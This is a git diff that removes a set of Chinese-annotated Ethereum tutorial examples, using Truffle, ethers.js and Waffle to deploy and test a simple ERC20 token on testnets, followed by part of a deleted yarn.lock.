-const SimpleToken = artifacts.require('SimpleToken')
-
-contract('SimpleToken', (accounts) => {
-  it(`Should put 100000 to the ${accounts[0]}`, async () => {
-    const simpleTokenIns = await SimpleToken.deployed()
-    const balance = (
-      await simpleTokenIns.balanceOf.call(accounts[0])
-    ).toNumber()
-
-    assert.equal(
-      balance,
-      100000,
-      `the balance of ${accounts[0]} wasn not 100000`
-    )
-  })
-
-  // change the a
-  it('Transfer 100 to other account', async () => {
-    const simpleTokenIns = await SimpleToken.deployed()
-
-    const target = 0x5df22be367b95788cd51c7dbdf7c7ab70fe856ee
-    // transfer 100 to other account
-    await simpleTokenIns.transfer(target, 1000)
-
-    // check the balance of target
-    const balance = (await simpleTokenIns.balanceOf.call(target)).toNumber()
-    assert.equal(balance, 1000, `the balance of ${target} wasn't 1000`)
-  })
-})
diff --git a/Example04-web3js-truffle/truffle-config.js b/Example04-web3js-truffle/truffle-config.js
deleted file mode 100644
index 36c6cb557..000000000
--- a/Example04-web3js-truffle/truffle-config.js
+++ /dev/null
@@ -1,59 +0,0 @@
-const fs = require('fs')
-const HDWalletProvider = require('truffle-hdwallet-provider')
-
-const mnemonic = fs.readFileSync('./sk.txt').toString().trim()
-
-module.exports = {
-  // Uncommenting the defaults below
-  // provides for an easier quick-start with Ganache.
-  // You can also follow this format for other networks;
-  // see <http://truffleframework.com/docs/advanced/configuration>
-  // for more details on how to specify configuration options!
-  //
-  compilers: {
-    solc: {
-      version: '0.8.0',
-    },
-  },
-  networks: {
-    //  development: {
-    //    host: "127.0.0.1",
-    //    port: 7545,
-    //    network_id: "*"
-    //  },
-    //  test: {
-    //    host: "127.0.0.1",
-    //    port: 7545,
-    //    network_id: "*"
-    //  }
-    //},
-    ropsten: {
-      provider: () =>
-        new HDWalletProvider(
-          mnemonic,
-          'https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'
-        ),
-      network_id: '*',
-      gas: 3000000,
-      gasPrice: 10000000000,
-    },
-    kovan: {
-      provider: () =>
-        new HDWalletProvider(
-          mnemonic,
-          'https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'
-        ),
-      network_id: '*',
-    },
-    rinkeby: {
-      provider: () =>
-        new HDWalletProvider(
-          mnemonic,
-          'https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07'
-        ),
-      network_id: '*',
-      gas: 3000000,
-      gasPrice: 10000000000,
-    },
-  },
-}
diff --git a/Example05-ethersjs-erc20/README.md b/Example05-ethersjs-erc20/README.md
deleted file mode 100644
index b5250756f..000000000
--- a/Example05-ethersjs-erc20/README.md
+++ /dev/null
@@ -1,33 +0,0 @@
-## 前言
-本样例演示了使用 ethers.js 调用 ERC20 合约的开发流程
-
-## 代码逻辑
-1) 私钥获取  
-为方便获取，在 sk.txt 中放入的私钥，然后代码自动从中读取
-
-2) ERC20 合约部署  
-通过 deploy.js 进行部署，样例中链接的测试网为 Kovan, 对应需要使用有 Ether 的账户进行发送
-
-3) 合约调用  
-调用 erc20 的 transfer, balanceof 接口, 验证合约部署结果
-
-4) 事件监听   
-之后使用 providerContract.once 和 providerContract.on 对 Transfer 事件进行一次和多次的监听
-
-
-## 测试流程
-1) 安装依赖
-```
-npm install
-```
-
-2) 执行测试
-```
-node index.js
-```
-
-## 参考文档   
-官方文档: https://docs.ethers.io/v4/api-providers.html
-                https://docs.ethers.io/v5/getting-started/#getting-started--contracts    
-        中文文档: https://learnblockchain.cn/docs/ethers.js/api-providers.html
-http://zhaozhiming.github.io/blog/2018/04/25/how-to-use-ethers-dot-js/  
diff --git a/Example05-ethersjs-erc20/compile.js b/Example05-ethersjs-erc20/compile.js
deleted file mode 100644
index 1d9340de5..000000000
--- a/Example05-ethersjs-erc20/compile.js
+++ /dev/null
@@ -1,28 +0,0 @@
-const fs = require('fs')
-const solc = require('solc')
-
-// Get Path and Load Contract
-const source = fs.readFileSync('SimpleToken.sol', 'utf8')
-
-// Compile Contract
-const input = {
-  language: 'Solidity',
-  sources: {
-    'SimpleToken.sol': {
-      content: source,
-    },
-  },
-  settings: {
-    outputSelection: {
-      '*': {
-        '*': ['*'],
-      },
-    },
-  },
-}
-
-const tempFile = JSON.parse(solc.compile(JSON.stringify(input)))
-const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken']
-
-// Export Contract Data
-module.exports = contractFile
diff --git a/Example05-ethersjs-erc20/hash.js b/Example05-ethersjs-erc20/hash.js
deleted file mode 100644
index faf6d9f0d..000000000
--- a/Example05-ethersjs-erc20/hash.js
+++ /dev/null
@@ -1,133 +0,0 @@
-const ethers = require('ethers');
-const fs = require("fs");
-const contractFile = require('./compile');
-//var sleep = require('sleep');
-
-const privatekey = fs.readFileSync("./sk.txt").toString().trim()
-
-/*
-   -- Define Provider & Variables --
-*/
-// Provider
-const providerRPC = {
-   development: {
-      name: 'moonbeam-development',
-      rpc: 'http://localhost:8545',
-      chainId: 1281,
-   },
-   moonbase: {
-      name: 'moonbase-alpha',
-      rpc: 'https://rpc.testnet.moonbeam.network',
-      chainId: 1287,
-   },
-};
-const provider = new ethers.providers.InfuraProvider('kovan'); //Change to correct network
-
-// Variables
-const account_from = {
-   privateKey: privatekey,
-};
-
-const bytecode = contractFile.evm.bytecode.object;
-const abi = contractFile.abi;
-
-
-// hash test
-console.log("&&&1： mint: ", ethers.utils.keccak256( ethers.utils.toUtf8Bytes("createAndInitializePoolIfNecessary(address,address,uint24,uint160)")));
-console.log("&&&1： increase: ", ethers.utils.keccak256( ethers.utils.toUtf8Bytes("mint((address,address,uint24,int24,int24,uint256,uint256,uint256,uint256,address,uint256))")));
-console.log("&&&1： muticall: ", ethers.utils.keccak256( ethers.utils.toUtf8Bytes("multicall(bytes[])")));
-console.log("&&&1： refund: ", ethers.utils.keccak256( ethers.utils.toUtf8Bytes("refundETH()")));
-// Create Wallet
-let wallet = new ethers.Wallet(account_from.privateKey, provider);
-
-/*
-   -- Deploy Contract --
-*/
-// Create Contract Instance with Signer
-//const deployContractIns = new ethers.ContractFactory(abi, bytecode, wallet);
-
-const Trans = async () => {
-   console.log("===============================1. Deploy Contract");
-   console.log(`Attempting to deploy from account: ${wallet.address}`);
-
-   // Send Tx (Initial Value set to 5) and Wait for Receipt
-   const deployedContract = await deployContractIns.deploy("hello","Dapp",1,100000000);
-   await deployedContract.deployed();
-
-   console.log(`Contract deployed at address: ${deployedContract.address}`);
-
-   /*
-   -- Send Function --
-   */
-   // Create Contract Instance
-   console.log()
-   console.log("===============================2. Call Transaction Interface Of Contract");
-   const transactionContract = new ethers.Contract(deployedContract.address, abi, wallet);
-
-   console.log(
-      `Transfer 100000 to address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266`
-   );
-
-   // Call Contract
-   const transferReceipt = await transactionContract.transfer("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",100000);
-   await transferReceipt.wait();
-
-   console.log(`Tx successful with hash: ${transferReceipt.hash}`);
-
-   /*
-   -- Call Function --
-   */
-   // Create Contract Instance
-   console.log()
-   console.log("===============================3. Call Read Interface Of Contract");
-   const providerContract = new ethers.Contract(deployedContract.address, abi, provider);
-
-   // Call Contract
-   const balanceVal = await providerContract.balanceOf("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266");
-
-   console.log(`balance of 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 is : ${balanceVal}`);
-
-
-   /*
-   -- Listen to Events --
-   */
-   console.log()
-   console.log("===============================4. Listen To Events");
-
-   // Listen to event once
-   providerContract.once("Transfer",(from, to, value) => {
-      console.log(`I am a once Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   
-   // Listen to events continuouslly
-   providerContract.on("Transfer",(from, to, value) => {
-      console.log(`I am a longlive Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   // Listen to events with filter
-   let topic = ethers.utils.id("Transfer(address,address,uint256)");
-   let filter = {
-      address: deployedContract.address,
-      topics: [topic],
-      fromBlock: await provider.getBlockNumber()
-   }
-
-   providerContract.on(filter,(from, to, value) => {
-      console.log(`I am a filter Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   for(let step = 0; step < 3; step++){
-      let transferTransaction = await transactionContract.transfer("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",10);
-      await transferTransaction.wait();
-
-      if(step == 2){
-         console.log("Going to remove all Listeners")
-         providerContract.removeAllListeners()
-      }
-   }
-
-
-};
-
-//Trans();
\ No newline at end of file
diff --git a/Example05-ethersjs-erc20/index.js b/Example05-ethersjs-erc20/index.js
deleted file mode 100644
index 61866d669..000000000
--- a/Example05-ethersjs-erc20/index.js
+++ /dev/null
@@ -1,128 +0,0 @@
-const ethers = require('ethers');
-const fs = require("fs");
-const contractFile = require('./compile');
-//var sleep = require('sleep');
-
-const privatekey = fs.readFileSync("./sk.txt").toString().trim()
-
-/*
-   -- Define Provider & Variables --
-*/
-// Provider
-const providerRPC = {
-   development: {
-      name: 'moonbeam-development',
-      rpc: 'http://localhost:8545',
-      chainId: 1281,
-   },
-   moonbase: {
-      name: 'moonbase-alpha',
-      rpc: 'https://rpc.testnet.moonbeam.network',
-      chainId: 1287,
-   },
-};
-const provider = new ethers.providers.InfuraProvider('kovan'); //Change to correct network
-
-// Variables
-const account_from = {
-   privateKey: privatekey,
-};
-
-const bytecode = contractFile.evm.bytecode.object;
-const abi = contractFile.abi;
-
-
-// Create Wallet
-let wallet = new ethers.Wallet(account_from.privateKey, provider);
-
-/*
-   -- Deploy Contract --
-*/
-// Create Contract Instance with Signer
-const deployContractIns = new ethers.ContractFactory(abi, bytecode, wallet);
-
-const Trans = async () => {
-   console.log("===============================1. Deploy Contract");
-   console.log(`Attempting to deploy from account: ${wallet.address}`);
-
-   // Send Tx (Initial Value set to 5) and Wait for Receipt
-   const deployedContract = await deployContractIns.deploy("hello","Dapp",1,100000000);
-   await deployedContract.deployed();
-
-   console.log(`Contract deployed at address: ${deployedContract.address}`);
-
-   /*
-   -- Send Function --
-   */
-   // Create Contract Instance
-   console.log()
-   console.log("===============================2. Call Transaction Interface Of Contract");
-   const transactionContract = new ethers.Contract(deployedContract.address, abi, wallet);
-
-   console.log(
-      `Transfer 100000 to address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266`
-   );
-
-   // Call Contract
-   const transferReceipt = await transactionContract.transfer("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",100000);
-   await transferReceipt.wait();
-
-   console.log(`Tx successful with hash: ${transferReceipt.hash}`);
-
-   /*
-   -- Call Function --
-   */
-   // Create Contract Instance
-   console.log()
-   console.log("===============================3. Call Read Interface Of Contract");
-   const providerContract = new ethers.Contract(deployedContract.address, abi, provider);
-
-   // Call Contract
-   const balanceVal = await providerContract.balanceOf("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266");
-
-   console.log(`balance of 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 is : ${balanceVal}`);
-
-
-   /*
-   -- Listen to Events --
-   */
-   console.log()
-   console.log("===============================4. Listen To Events");
-
-   // Listen to event once
-   providerContract.once("Transfer",(from, to, value) => {
-      console.log(`I am a once Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   
-   // Listen to events continuouslly
-   providerContract.on("Transfer",(from, to, value) => {
-      console.log(`I am a longlive Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   // Listen to events with filter
-   let topic = ethers.utils.id("Transfer(address,address,uint256)");
-   let filter = {
-      address: deployedContract.address,
-      topics: [topic],
-      fromBlock: await provider.getBlockNumber()
-   }
-
-   providerContract.on(filter,(from, to, value) => {
-      console.log(`I am a filter Event Listner, I have got an event Transfer, from: ${from}   to: ${to}   value: ${value}`)
-   })
-
-   for(let step = 0; step < 3; step++){
-      let transferTransaction = await transactionContract.transfer("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",10);
-      await transferTransaction.wait();
-
-      if(step == 2){
-         console.log("Going to remove all Listeners")
-         providerContract.removeAllListeners()
-      }
-   }
-
-
-};
-
-Trans();
\ No newline at end of file
diff --git a/Example05-ethersjs-erc20/package.json b/Example05-ethersjs-erc20/package.json
deleted file mode 100644
index f666ed3fc..000000000
--- a/Example05-ethersjs-erc20/package.json
+++ /dev/null
@@ -1,18 +0,0 @@
-{
-  "name": "example02-send-signed-transaction",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "ethereumjs-tx": "^2.1.2",
-    "ethers": "^5.1.4",
-    "minimist": "^1.2.5",
-    "solc": "0.8.0",
-    "web3": "^1.3.5"
-  }
-}
diff --git a/Example06-ethersjs-waffle/README.md b/Example06-ethersjs-waffle/README.md
deleted file mode 100644
index 06f59acaf..000000000
--- a/Example06-ethersjs-waffle/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-## 前言
-Waffle 是一款适配 ehterjs 的智能合约测试库。本样例演示了使用 Waffle 进行测试的基本流程及使用方法
-
-## 操作步骤  
-- 1 安装依赖
-```
-yarn install
-```
-
-- 2 编译合约：
-```
-yarn build
-```
-
-- 3 执行测试  
-```
-yarn test
-```
-
-## 参考文档
-waffle 官方文档： 
-https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html     
-
-ehterjs 官方文档：
-https://docs.ethers.io/v4/api-providers.html   
-https://docs.ethers.io/v5/getting-started/#getting-started--contracts   
-
-中文文档： 
-https://learnblockchain.cn/docs/ethers.js/api-providers.html  
\ No newline at end of file
diff --git a/Example06-ethersjs-waffle/index.js b/Example06-ethersjs-waffle/index.js
deleted file mode 100644
index d22d35230..000000000
--- a/Example06-ethersjs-waffle/index.js
+++ /dev/null
@@ -1,55 +0,0 @@
-const fs = require("fs");
-const SimpleToken = require('./build/SimpleToken.json');
-
-const { ethers } = require("ethers");
-
-    const privateKey = fs.readFileSync("./sk.txt").toString().trim()
-
-
-    // const web3 = new Web3.providers.HttpProvider('https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07');
-    //  let web3Provider = new ethers.providers.Web3Provider(web3)
-
-    const web3Provider = new ethers.providers.InfuraProvider(  "kovan","0aae8358bfe04803b8e75bb4755eaf07"  )
-
-    const wallet = new ethers.Wallet(privateKey,web3Provider);
-
-    let address = "0x54A65DB20D7653CE509d3ee42656a8F138037d51";
-
-    let bal;
-
-    async function checkBalance() {
-    bal = await web3Provider.getBalance(address).then((balance) => {
-
-        // balance is a BigNumber (in wei); format is as a sting (in ether)
-        let etherString = ethers.utils.formatEther(balance);
-        return etherString;
-    });
-        console.log("balance: ", bal);
-    }
-
-checkBalance()
-
-    let token;
-    async function deploy() {
-
-        // 常见合约工厂实例
-           const simpletoken = new ethers.ContractFactory(SimpleToken.abi, SimpleToken.bytecode, wallet);
-           token = await simpletoken.deploy("HEHE", "HH", 1, 100000000);
-        console.log(token.address);
-
-        console.log(token.deployTransaction.hash);
-
-        await token.deployed()
-
-        let bal =  await token.balanceOf(wallet.address);
-        console.log( bal);
-
-    };
-
-deploy();
-
-
-
-
-
-
diff --git a/Example06-ethersjs-waffle/package.json b/Example06-ethersjs-waffle/package.json
deleted file mode 100644
index 557c40a56..000000000
--- a/Example06-ethersjs-waffle/package.json
+++ /dev/null
@@ -1,22 +0,0 @@
-{
-  "name": "example05-send-signed-transaction",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "build": "waffle",
-    "test": "export NODE_ENV=test && mocha --timeout 10000"
-  },
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "chai": "^4.2.0",
-    "ethereum-waffle": "^3.3.0",
-    "ethereumjs-tx": "^2.1.2",
-    "ethers": "^5.1.4",
-    "minimist": "^1.2.5",
-    "mocha": "8.4.0",
-    "solc": "0.8.0",
-    "web3": "^1.3.5"
-  }
-}
diff --git a/Example06-ethersjs-waffle/test/Erc20Test.js b/Example06-ethersjs-waffle/test/Erc20Test.js
deleted file mode 100644
index 04e5c0d52..000000000
--- a/Example06-ethersjs-waffle/test/Erc20Test.js
+++ /dev/null
@@ -1,55 +0,0 @@
-const { use, expect } = require("chai");
-const fs = require("fs");
-const {deployContract, MockProvider, solidity} = require('ethereum-waffle');
-const SimpleToken = require('../build/SimpleToken.json');
-
-const { ethers } = require("ethers");
-const Web3 = require('web3');
-
-use(solidity);
-
-describe('SimpleToken', () => {
-    const [wallet, walletTo] = new MockProvider().getWallets();
-    let token;
-
-    beforeEach(async () => {
-        token = await deployContract(wallet, SimpleToken, ["HEHE", "HH", 0, 100000000]);
-    });
-
-    // beforeEach(async () => {
-    //     //token = await deployContract(wallet, SimpleToken, ["HEHE", "HH", 1, 100000000]);
-    //     const simpletoken = new ethers.ContractFactory(SimpleToken.abi, SimpleToken.bytecode, wallet);
-    //     token =  await simpletoken.deploy( "HEHE", "HH", 1, 100000000);
-    // });
-
-    it('Assigns initial balance', async () => {
-        console.log("*****2");
-        expect(await token.balanceOf(wallet.address)).to.equal(100000000);
-
-    });
-
-    it('Transfer adds amount to destination account', async () => {
-        await token.transfer(walletTo.address, 7);
-        expect(await token.balanceOf(walletTo.address)).to.equal(7);
-    });
-
-    it('Transfer emits event', async () => {
-        await expect(token.transfer(walletTo.address, 7))
-            .to.emit(token, 'Transfer')
-            .withArgs(wallet.address, walletTo.address, 7);
-    });
-
-    it('Can not transfer above the amount', async () => {
-        await expect(token.transfer(walletTo.address, 1007100000000)).to.be.reverted;
-    });
-
-    it('Calls totalSupply on SimpleToken contract', async () => {
-        await token.totalSupply();
-        expect('totalSupply').to.be.calledOnContract(token);
-    });
-
-    it('Calls balanceOf with sender address on SimpleToken contract', async () => {
-        await token.balanceOf(wallet.address);
-        expect('balanceOf').to.be.calledOnContractWith(token, [wallet.address]);
-    });
-});
\ No newline at end of file
diff --git a/Example06-ethersjs-waffle/yarn.lock b/Example06-ethersjs-waffle/yarn.lock
deleted file mode 100644
index 32239b984..000000000
--- a/Example06-ethersjs-waffle/yarn.lock
+++ /dev/null
@@ -1,7336 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@ensdomains/ens@^0.4.4":
-  version "0.4.5"
-  resolved "https://registry.yarnpkg.com/@ensdomains/ens/-/ens-0.4.5.tgz#e0aebc005afdc066447c6e22feb4eda89a5edbfc"
-  integrity sha512-JSvpj1iNMFjK6K+uVl4unqMoa9rf5jopb8cya5UGBWz23Nw8hSNT7efgUx4BTlAPAgpNlEioUfeTyQ6J9ZvTVw==
-  dependencies:
-    bluebird "^3.5.2"
-    eth-ens-namehash "^2.0.8"
-    solc "^0.4.20"
-    testrpc "0.0.1"
-    web3-utils "^1.0.0-beta.31"
-
-"@ensdomains/resolver@^0.2.4":
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/@ensdomains/resolver/-/resolver-0.2.4.tgz#c10fe28bf5efbf49bff4666d909aed0265efbc89"
-  integrity sha512-bvaTH34PMCbv6anRa9I/0zjLJgY4EuznbEMgbV77JBCQ9KNC46rzi0avuxpOfu+xDjPEtSFGqVEOr5GlUSGudA==
-
-"@ethereum-waffle/chai@^3.3.0":
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/@ethereum-waffle/chai/-/chai-3.3.1.tgz#3f20b810d0fa516f19af93c50c3be1091333fa8e"
-  integrity sha512-+vepCjttfOzCSnmiVEmd1bR8ctA2wYVrtWa8bDLhnTpj91BIIHotNDTwpeq7fyjrOCIBTN3Ai8ACfjNoatc4OA==
-  dependencies:
-    "@ethereum-waffle/provider" "^3.3.1"
-    ethers "^5.0.0"
-
-"@ethereum-waffle/compiler@^3.3.0":
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/@ethereum-waffle/compiler/-/compiler-3.3.1.tgz#946128fd565aa4347075fd716dbd0f3f38189280"
-  integrity sha512-X/TeQugt94AQwXEdCjIQxcXYGawNulVBYEBE7nloj4wE/RBxNolXwjoVNjcS4kuiMMbKkdO0JkL5sn6ixx8bDg==
-  dependencies:
-    "@resolver-engine/imports" "^0.3.3"
-    "@resolver-engine/imports-fs" "^0.3.3"
-    "@typechain/ethers-v5" "^2.0.0"
-    "@types/mkdirp" "^0.5.2"
-    "@types/node-fetch" "^2.5.5"
-    ethers "^5.0.1"
-    mkdirp "^0.5.1"
-    node-fetch "^2.6.0"
-    solc "^0.6.3"
-    ts-generator "^0.1.1"
-    typechain "^3.0.0"
-
-"@ethereum-waffle/ens@^3.2.4":
-  version "3.2.4"
-  resolved "https://registry.yarnpkg.com/@ethereum-waffle/ens/-/ens-3.2.4.tgz#c486be4879ea7107e1ff01b24851a5e44f5946ce"
-  integrity sha512-lkRVPCEkk7KOwH9MqFMB+gL0X8cZNsm+MnKpP9CNbAyhFos2sCDGcY8t6BA12KBK6pdMuuRXPxYL9WfPl9bqSQ==
-  dependencies:
-    "@ensdomains/ens" "^0.4.4"
-    "@ensdomains/resolver" "^0.2.4"
-    ethers "^5.0.1"
-
-"@ethereum-waffle/mock-contract@^3.2.2":
-  version "3.2.2"
-  resolved "https://registry.yarnpkg.com/@ethereum-waffle/mock-contract/-/mock-contract-3.2.2.tgz#5749b03cbb4850150f81cf66151c4523eb7436f0"
-  integrity sha512-H60Cc5C7sYNU4LuPMSKDh8YIaN9/fkwEjznY78CEbOosO+lMlFYdA+5VZjeDGDuYKfsBqsocQdkj1CRyoi1KNw==
-  dependencies:
-    "@ethersproject/abi" "^5.0.1"
-    ethers "^5.0.1"
-
-"@ethereum-waffle/provider@^3.3.0", "@ethereum-waffle/provider@^3.3.1":
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/@ethereum-waffle/provider/-/provider-3.3.2.tgz#33677baf6af5cbb087c3072d84f38c152968ebb1"
-  integrity sha512-ilz6cXK0ylSKCmZktTMpY4gjo0CN6rb86JfN7+RZYk6tKtZA6sXoOe95skWEQkGf1fZk7G817fTzLb0CmFDp1g==
-  dependencies:
-    "@ethereum-waffle/ens" "^3.2.4"
-    ethers "^5.0.1"
-    ganache-core "^2.13.2"
-    patch-package "^6.2.2"
-    postinstall-postinstall "^2.1.0"
-
-"@ethersproject/abi@5.0.0-beta.153":
-  version "5.0.0-beta.153"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.0.0-beta.153.tgz#43a37172b33794e4562999f6e2d555b7599a8eee"
-  integrity sha512-aXweZ1Z7vMNzJdLpR1CZUAIgnwjrZeUSvN9syCwlBaEBUFJmFY+HHnfuTI5vIhVs/mRkfJVrbEyl51JZQqyjAg==
-  dependencies:
-    "@ethersproject/address" ">=5.0.0-beta.128"
-    "@ethersproject/bignumber" ">=5.0.0-beta.130"
-    "@ethersproject/bytes" ">=5.0.0-beta.129"
-    "@ethersproject/constants" ">=5.0.0-beta.128"
-    "@ethersproject/hash" ">=5.0.0-beta.128"
-    "@ethersproject/keccak256" ">=5.0.0-beta.127"
-    "@ethersproject/logger" ">=5.0.0-beta.129"
-    "@ethersproject/properties" ">=5.0.0-beta.131"
-    "@ethersproject/strings" ">=5.0.0-beta.130"
-
-"@ethersproject/abi@5.0.7":
-  version "5.0.7"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.0.7.tgz#79e52452bd3ca2956d0e1c964207a58ad1a0ee7b"
-  integrity sha512-Cqktk+hSIckwP/W8O47Eef60VwmoSC/L3lY0+dIBhQPCNn9E4V7rwmm2aFrNRRDJfFlGuZ1khkQUOc3oBX+niw==
-  dependencies:
-    "@ethersproject/address" "^5.0.4"
-    "@ethersproject/bignumber" "^5.0.7"
-    "@ethersproject/bytes" "^5.0.4"
-    "@ethersproject/constants" "^5.0.4"
-    "@ethersproject/hash" "^5.0.4"
-    "@ethersproject/keccak256" "^5.0.3"
-    "@ethersproject/logger" "^5.0.5"
-    "@ethersproject/properties" "^5.0.3"
-    "@ethersproject/strings" "^5.0.4"
-
-"@ethersproject/abi@5.1.2", "@ethersproject/abi@^5.0.1", "@ethersproject/abi@^5.1.0":
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.1.2.tgz#a8e75cd0455e6dc9e4861c3d1c22bbe436c1d775"
-  integrity sha512-uMhoQVPX0UtfzTpekYQSEUcJGDgsJ25ifz+SV6PDETWaUFhcR8RNgb1QPTASP13inW8r6iy0/Xdq9D5hK2pNvA==
-  dependencies:
-    "@ethersproject/address" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/constants" "^5.1.0"
-    "@ethersproject/hash" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/strings" "^5.1.0"
-
-"@ethersproject/abstract-provider@5.1.0", "@ethersproject/abstract-provider@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abstract-provider/-/abstract-provider-5.1.0.tgz#1f24c56cda5524ef4ed3cfc562a01d6b6f8eeb0b"
-  integrity sha512-8dJUnT8VNvPwWhYIau4dwp7qe1g+KgdRm4XTWvjkI9gAT2zZa90WF5ApdZ3vl1r6NDmnn6vUVvyphClRZRteTQ==
-  dependencies:
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/networks" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-    "@ethersproject/transactions" "^5.1.0"
-    "@ethersproject/web" "^5.1.0"
-
-"@ethersproject/abstract-signer@5.1.0", "@ethersproject/abstract-signer@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/abstract-signer/-/abstract-signer-5.1.0.tgz#744c7a2d0ebe3cc0bc38294d0f53d5ca3f4e49e3"
-  integrity sha512-qQDMkjGZSSJSKl6AnfTgmz9FSnzq3iEoEbHTYwjDlEAv+LNP7zd4ixCcVWlWyk+2siud856M5CRhAmPdupeN9w==
-  dependencies:
-    "@ethersproject/abstract-provider" "^5.1.0"
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-
-"@ethersproject/address@5.1.0", "@ethersproject/address@>=5.0.0-beta.128", "@ethersproject/address@^5.0.4", "@ethersproject/address@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/address/-/address-5.1.0.tgz#3854fd7ebcb6af7597de66f847c3345dae735b58"
-  integrity sha512-rfWQR12eHn2cpstCFS4RF7oGjfbkZb0oqep+BfrT+gWEGWG2IowJvIsacPOvzyS1jhNF4MQ4BS59B04Mbovteg==
-  dependencies:
-    "@ethersproject/bignumber" "^5.1.0"
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/keccak256" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    "@ethersproject/rlp" "^5.1.0"
-
-"@ethersproject/base64@5.1.0", "@ethersproject/base64@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/base64/-/base64-5.1.0.tgz#27240c174d0a4e13f6eae87416fd876caf7f42b6"
-  integrity sha512-npD1bLvK4Bcxz+m4EMkx+F8Rd7CnqS9DYnhNu0/GlQBXhWjvfoAZzk5HJ0f1qeyp8d+A86PTuzLOGOXf4/CN8g==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-
-"@ethersproject/basex@5.1.0", "@ethersproject/basex@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/basex/-/basex-5.1.0.tgz#80da2e86f9da0cb5ccd446b337364d791f6a131c"
-  integrity sha512-vBKr39bum7DDbOvkr1Sj19bRMEPA4FnST6Utt6xhDzI7o7L6QNkDn2yrCfP+hnvJGhZFKtLygWwqlTBZoBXYLg==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/properties" "^5.1.0"
-
-"@ethersproject/bignumber@5.1.1", "@ethersproject/bignumber@>=5.0.0-beta.130", "@ethersproject/bignumber@^5.0.7", "@ethersproject/bignumber@^5.1.0":
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@ethersproject/bignumber/-/bignumber-5.1.1.tgz#84812695253ccbc639117f7ac49ee1529b68e637"
-  integrity sha512-AVz5iqz7+70RIqoQTznsdJ6DOVBYciNlvO+AlQmPTB6ofCvoihI9bQdr6wljsX+d5W7Yc4nyvQvP4JMzg0Agig==
-  dependencies:
-    "@ethersproject/bytes" "^5.1.0"
-    "@ethersproject/logger" "^5.1.0"
-    bn.js "^4.4.0"
-
-"@ethersproject/bytes@5.1.0", "@ethersproject/bytes@>=5.0.0-beta.129", "@ethersproject/bytes@^5.0.4", "@ethersproject/bytes@^5.1.0":
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/@ethersproject/bytes/-/bytes-5.1.0.tgz#55dfa9c4c21df1b1b538be3accb50fb76d5facfd"
-  integrity sha512-sGTxb+LVjFxJcJeUswAIK6ncgOrh3D8c192iEJd7mLr95V6du119rRfYT/b87WPkZ5I3gRBUYIYXtdgCWACe8g==
-  dependencies:
-    "@ethersproject/logger" "^5.1.0"
-
-"@ethersproject/constants@5.1.0", "@ethersproject/constants@>=5.0.0-beta.128", "@ethersproject/constants@^5.0.4", "@ethersproject/constants@^5.1.0":
-  version "5.1.0"
